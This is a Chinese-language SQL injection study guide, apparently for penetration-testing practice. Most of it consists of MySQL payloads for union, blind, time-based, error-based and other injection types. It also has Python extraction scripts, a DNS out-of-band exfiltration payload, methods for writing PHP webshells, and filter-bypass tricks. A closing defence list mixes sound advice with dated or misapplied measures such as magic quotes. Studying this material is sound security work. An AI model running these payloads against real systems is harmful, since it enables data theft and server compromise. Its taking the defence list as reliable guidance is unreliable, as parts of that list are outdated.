回炉重造之SQL 注入
字数 2290 2025-08-11 08:36:26
SQL注入全面指南
1. SQL注入分类
1.1 常见分类
- 联合注入:使用UNION SELECT合并查询结果
- 盲注:无直接回显,通过服务器响应判断
- 延时注入:通过响应时间判断注入结果
- 报错注入:利用数据库错误信息获取数据
- 宽字节注入:利用编码差异绕过转义
- 堆叠注入:执行多条SQL语句
- 带外注入:通过DNS等外部通道获取数据
- 二次注入:存储后再触发的注入
1.2 特殊注入类型
- INSERT注入
- UPDATE注入
- LIMIT注入
- ORDER BY注入
- 搜索型注入
2. 联合查询注入
2.1 核心知识
-
information_schema数据库:MySQL内置元数据库
information_schema.schemata:所有数据库名information_schema.tables:所有表名information_schema.columns:所有字段名
-
关键函数:
ORDER BY:确定列数UNION:合并SELECT结果(列数需相同)GROUP_CONCAT():多行结果拼接LIMIT:限制返回行数
2.2 MySQL注释
#、--(--+)/* */多行注释/*!50726select*/:版本特定注释
2.3 注入流程
- 判断注入点
- 判断列数(ORDER BY)
- 确定回显点
- 获取数据库
- 获取表名
- 获取字段名
- 获取数据
2.4 常用Payload
UNION SELECT 1,database(); # 获取数据库
UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database(); # 获取表
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='aaa'; # 获取字段
UNION SELECT 1,group_concat(id,0x7e,name) from aaa; # 获取数据
2.5 无列名注入
UNION SELECT `1`,`2` from (select 1,2 union select * from aaa)x limit 1,1;
UNION SELECT `1`,`2` from (select * from (select 1)a,(select 2)b union select * from aaa)x limit 1,1;
3. 盲注
3.1 关键函数
LENGTH():字符串长度SUBSTR()/SUBSTRING()/MID():字符串截取ASCII()/ORD():字符转ASCII码LEFT()/RIGHT():左右截取REGEXP/RLIKE:正则匹配CONCAT()/GROUP_CONCAT()/CONCAT_WS():字符串拼接REPLACE():字符串替换
3.2 盲注流程
- 判断注入点
- 获取数据长度
- 逐个字符猜解
3.3 盲注公式
# 获取长度
select * from aaa where id=1 and (length(表达式)=n);
# 获取数据
select * from aaa where id=1 and (ord(substr((表达式),n,1))=n);
3.4 Python盲注脚本示例
import requests
def length(url,sql):
for i in range(1,20000):
payload = f'1\'" and length({sql})={i}--+'
response = requests.get(url=url+payload,headers=header(),verify=False)
if 'You are in' in response.text:
print(f'查询内容的长度为:{i}')
return i
def date(url,sql,L):
print('查询到的数据为:',end='')
for i in (range(1,L+1)):
for j in range(43,127):
payload = f'1\'" and (ord(substr(({sql}),{i},1))={j})--+'
response = requests.get(url=url+payload,headers=header(),verify=False)
if 'You are in' in response.text:
print(chr(j),end='')
print('\n')
4. 延时注入
4.1 延时函数
SLEEP():直接延时BENCHMARK():计算密集型延时- 笛卡尔积:
select count(*) from information_schema.columns a,information_schema.columns b; GET_LOCK():需要多个session- 正则BUG:
select rpad('a',1000000,'a') rlike concat(repeat('(a.*)+',200),'b');
4.2 延时注入公式
# IF形式
and if((表达式),(延时语句),0);
# CASE WHEN形式
and case when (表达式) then (延时语句) else 0 end;
# 直接延时
sleep(3*(表达式))
4.3 Python延时注入脚本
def length(url,date):
for i in range(1,1000000):
payload = f'1\' and sleep(3*(length({date})={i}))--+'
try:
requests.get(url=url+payload,timeout=3)
except:
print(f'查询数据的长度为:{i}')
return i
def date(url,sql,L):
print('查询到的数据为:',end='')
for i in (range(1,L+1)):
for j in range(43,127):
try:
payload = f'1\' and sleep(4*(ord(substr(({sql}),{i},1))={j}))--+'
requests.get(url=url+payload,timeout=3)
except:
print(chr(j),end='')
break
5. 报错注入
5.1 报错注入类型
- BIGINT等数据类型溢出
- XPath语法错误
- CONCAT+RAND()+GROUP_BY导致主键重复
- 空间数据类型函数错误
5.2 常用报错函数
-
UPDATEXML():and (updatexml(1,concat(0x7e,(表达式),0x7e),1)) -
EXTRACTVALUE():and (extractvalue(1,concat(0x7e,(表达式),0x7e))) -
双查询:
and (select 1 from (select count(*),concat((表达式),0x7e,floor(rand(0)*4))x from information_schema.tables group by x)a); -
EXP():exp(~(select * from(表达式)x)) -
COT():cot(表达式)表达式为假时报错 -
POW():pow(1+(1=(表达式)),11111) -
空间函数:
geometrycollection(),multipoint(),polygon()等
6. 宽字节注入
利用编码差异绕过转义:
%df' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
表名等可用十六进制编码绕过:
select hex('需要编码的字符');
7. ORDER BY注入
7.1 注入方法
-
正则盲注:
select * from aaa order by (select 1 regexp if((表达式),1,exp(999))) asc; -
报错注入:
select * from aaa order by updatexml(1,concat(0x7e,(表达式),0x7e),1) asc; -
延时注入:
select * from aaa order by if((1=1),sleep(3),1) asc;
8. LIMIT注入
仅适用于MySQL 5.0.0~5.6.6
8.1 报错注入
select * from aaa where id>0 order by id asc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,(表达式))),1);
8.2 延时注入
SELECT id FROM aaa WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);
9. INSERT注入
9.1 报错注入
insert into qwe values(1,'2312315' or updatexml(1,concat(0x7e,(表达式),0x7e),1) or '');
insert into qwe values(1 and updatexml(1,concat(0x7e,user()),1), '');
9.2 延时注入
insert into qwe values(1 and if((1=1),sleep(5),0), '');
10. 堆叠注入
执行多条SQL语句:
1';show databases;show tables;
11. 带外注入与文件读取
11.1 前提条件
- Windows系统
- secure_file_priv不为NULL
- MySQL<5.5.53默认开启
11.2 带外注入
and load_file(concat('\\\\',hex(表达式),'.xxx.dnslog.cn\\a.txt'));
11.3 文件读取
select load_file('path');
12. MySQL写Shell
12.1 前提条件
- 知道网站绝对路径
- 目录可写
- secure_file_priv为空或为网站路径所在盘
- 数据库用户有写入权限
- GPC关闭
12.2 常用方法
-
UNION查询写shell:
union select '<?php phpinfo();?>' into outfile 'C:\\\\phpstudy\\www\\a.php'; -
补充说明写shell:
select * from aaa where id=1 into outfile 'D:\\\\phpstudy\\www\\b.php' lines terminated by '<?php phpinfo();?>'; -
日志写shell:
set global general_log=on; set global general_log_file='D:\\\\phpstudy\\www\\shell.php'; select '<?php phpinfo();?>'; set global general_log=off;慢查询日志:
set global slow_query_log=1; set global slow_query_log_file='D:\\\\phpstudy\\www\\slowshell.php'; select '<?php phpinfo();?>' and sleep(11);
13. Bypass技巧
13.1 空格绕过
- 行内注释:
/**/ - 换行符:
%0a、%0d - 圆括号:
() - 反引号:
`
13.2 SELECT绕过
-
大小写:
SeLeCt -
双写:
selselectect -
直接写字段名(MySQL 5.0)
-
堆叠注入+handler语句
-
预编译:
set @sql = CONCAT('sele','ct column from tables;'); prepare stmt from @sql; EXECUTE stmt; -
内联注释:
/*!12345%53elect*/
13.3 单引号绕过
- 十六进制:
unhex(hex('user')) - 科学计数法:
unhex(hex(19e8+70496882)) - CHAR函数:
char(117,115,101,114) - 宽字节注入
- 转义:
\' - LIKE模糊查找
14. 防护措施
- 关闭错误回显:
display_error=off - 魔术引号:
magic_quotes_gpc=On - 转义函数:
addslashes()mysql_real_escape_string()htmlspecialchars()
- 数据类型转换
- 预编译语句(最有效)
- 正则过滤特定字符
- 最小权限原则